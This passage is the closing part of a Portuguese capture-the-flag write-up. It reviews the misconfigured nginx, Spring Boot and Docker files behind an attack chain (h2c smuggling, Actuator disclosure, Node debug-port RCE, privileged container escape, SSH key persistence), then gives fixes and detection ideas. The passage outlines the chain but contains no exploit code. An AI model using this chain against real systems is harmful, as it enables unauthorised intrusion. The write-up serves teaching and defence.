26
server {
listen 80 default_server;
server_name localhost;
location / {
proxy_pass http://backend:8080;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $http_connection;
}
location /actuator {
deny all;
}
location /admin/internal-web-socket-endpoint/ {
proxy_pass http://internal:8000/;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $http_connection;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
}
Analisando o que descobrimos:
Agora fica tudo claro! O docker-compose revela exatamente como conseguimos explorar o sistema:
- Backend (Spring Boot): Tem a primeira flag nas variáveis de ambiente e configurações que apontam para o node debug
- Proxy (Nginx): Faz o roteamento mas permitiu o h2c smuggling
- Internal (Node.js): O ponto crítico - rodando como root, privileged, e com
--inspecthabilitado
A linha mais perigosa é definitivamente privileged: true no container internal. Isso foi o que permitiu nosso Docker escape.
15.2 Conferindo a configuração do Nginx
Agora vamos verificar exatamente como o Nginx estava configurado para entender melhor o bypass:
1
2
cd conf
cat nginx.conf
Aqui vemos a configuração que permitiu nossa exploração:
1
2
3
4
5
6
7
8
9
10
location / {
proxy_pass http://backend:8080;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade; # ← Problema aqui!
proxy_set_header Connection $http_connection; # ← E aqui também!
}
location /actuator {
deny all; # ← Bloqueado pelo Nginx, mas bypassamos via h2c
}
O problema estava nas linhas do Upgrade: O Nginx estava repassando os headers Upgrade e Connection sem validar adequadamente. Isso permitiu que nosso upgrade para h2c passasse direto para o backend Spring Boot.
15.3 Confirmando o suporte a HTTP/2 no Spring
Para o h2c smuggling funcionar, o backend precisa suportar HTTP/2. Vamos confirmar:
1
2
cd spring/spring/src/main/resources/
cat application.yaml
Bingo! Encontramos a peça que faltava:
1
2
3
server:
http2:
enabled: true
Agora tudo faz sentido!
A cadeia de exploração funcionou porque:
- Nginx mal configurado: Repassava headers
Upgradesem validação - Spring Boot com HTTP/2: Backend aceitava upgrade para h2c
- Container privilegiado: Node.js rodando com privilégios de escape
- Debug habilitado:
--inspectexposto permitindo RCE
Cada falha individual já seria problemática, mas todas juntas criaram um caminho direto do browser até root no host. É um ótimo exemplo de como problemas de configuração podem se acumular criando vulnerabilidades críticas.
16. Lições aprendidas e como se proteger
16.1 Como conseguimos quebrar tudo
Nossa exploração funcionou porque encontramos uma “tempestade perfeita” de configurações problemáticas:
- Enumeração → Spring Boot exposto com endpoints padrão
- h2c Smuggling → Nginx repassando headers
Upgradesem validação - Information Disclosure → Actuator com variáveis de ambiente sensíveis
- RCE via CDP → Node.js debug exposto publicamente
- Container Escape → Container privilegiado permitindo mount do host
- Persistence → SSH keys injection para manter acesso
O problema não foi uma vulnerabilidade específica, mas sim várias configurações inseguras que se somaram.
16.2 Correções essenciais
Baseado nos arquivos que encontramos na seção 15, aqui estão as correções que teriam impedido nosso ataque:
1. Nginx - O grande vilão do h2c bypass
O problema principal estava na configuração do Nginx que repassava cegamente os headers Upgrade e Connection. Vimos isso no arquivo nginx.conf original:
1
2
proxy_set_header Upgrade $http_upgrade; # ← Perigoso!
proxy_set_header Connection $http_connection; # ← Permitiu h2c!
A correção seria simples: bloquear explicitamente tentativas de upgrade para h2c e limpar esses headers por padrão. Algo assim resolveria:
1
2
3
4
5
6
7
# Rejeitar qualquer tentativa de h2c smuggling
if ($http_upgrade ~* "h2c") {
return 400;
}
# Não repassar headers perigosos por padrão
proxy_set_header Upgrade "";
proxy_set_header Connection "";
2. Spring Boot Actuator - Endpoints críticos expostos
O Actuator estava expondo informações sensíveis (como a primeira flag nas variáveis de ambiente). O ideal seria:
- Isolar completamente: Colocar em porta administrativa separada que não passa pelo proxy
- Restringir acesso: Bind apenas em localhost ao invés de aceitar conexões externas
management.server.address=127.0.0.1 - Expor apenas o essencial: Só endpoints como
/healthque não vazam dados sensíveismanagement.endpoints.web.exposure.include=health
Assim o h2c bypass não teria conseguido acessar nada crítico.
3. Node.js Debug - RCE direto
Descobrimos no docker-compose que o Node estava rodando com --inspect=0.0.0.0:8000, expondo o debugging para qualquer IP. Isso é suicide em produção.
- Se necessário, bind em localhost:
--inspect=127.0.0.1:9229
A correção óbvia NODE_ENV=development: debug só em desenvolvimento e sempre em localhost. Se precisar debuggar remotamente em produção (não recomendado), usar túnel SSH ao invés de expor diretamente.
4. Docker - A falha que quebrou tudo
A linha privileged: true no container foi o que permitiu nosso escape total. Container privilegiado é basicamente dar as chaves do reino.
As correções básicas que teriam impedido o escape:
- Remover
privileged: true - Rodar como usuário não-root (
user: "1000:1000") - Filesystem read-only para impedir modificações
- Drop de capabilities desnecessárias
Cada uma dessas falhas sozinha já seria ruim, mas juntas criaram um caminho direto do browser até root no host.
1
2
3
4
5
6
7
8
9
10
# NUNCA em produção usar true:
privileged: false # Pode até remover completamente esta linha, sério...
# Usar hardening básico:
security_opt:
- no-new-privileges:true
cap_drop:
- ALL
user: "1000:1000" # usuário não-root
read_only: true # filesystem imutável
16.3 Detecção e monitoramento
Para detectar tentativas similares:
- Logs do Nginx: Monitorar headers
Upgrade: h2c - Spring Boot: Alertas em acessos a
/actuator/* - Docker: Logs de operações de mount em containers
- Node.js: Detecção de
inspector.open()em produção
16.4 O que aprendemos
Esta máquina mostra perfeitamente como defense in depth é crucial. Cada falha individual poderia ter sido mitigada:
- Se o Nginx bloqueasse h2c → sem bypass do Actuator
- Se o Actuator estivesse em localhost → sem descoberta de endpoints
- Se o debug Node.js estivesse desabilitado → sem RCE
- Se o container não fosse privilegiado → sem escape
Mas como todas estavam presentes, criaram um caminho direto para comprometimento total. É um ótimo lembrete de que segurança não é sobre uma configuração perfeita, mas sobre várias camadas que se protegem mutuamente.
Flags capturadas:
hackingclub{c71b3ebb3e25f3c8304d90***************309a3f}(via /actuator/env)hackingclub{d349c11e22a06b34d04e58***************6a0d302}(via Docker escape)
Tópicos reconhecidos neste cenário:
- HTTP/2 Cleartext Smuggling / Proxy Request Smuggling / H2C Upgrade Abuse
- Information Disclosure / Spring Boot Actuator enumeration / Attack Surface Mapping
- CDP WebSocket Debug Port RCE / Chrome DevTools Protocol RCE / CDP Remote Code Execution
- Privileged Container Escape / Container Breakout via Host Filesystem Mount / Rootfs Access
- SSH Authorized Keys Injection / SSH Key Injection Persistence / Privilege Escalation & Host Persistence
Referências Principais
Referências Adicionais
- OWASP Top 10
- Docker Security Best Practices
- Nginx Security Headers
- Spring Boot Security
- Node.js Security Checklist
- Container Security Guide
Nota: Mantive apenas visivel em foto uma flag (primeira) para te fazer praticar. Em vídeo temos resolução do exercício com as flags, mas ainda é preferível que faça você mesmo, nunca esquecer. Assistir é algo passivo, em hacking só aprendemos mesmo quanto somos ativo.
Áudio Visual: Resolução gravada em vídeo
- Problema com o vídeo? então clique aqui para ver diretamente do youtube.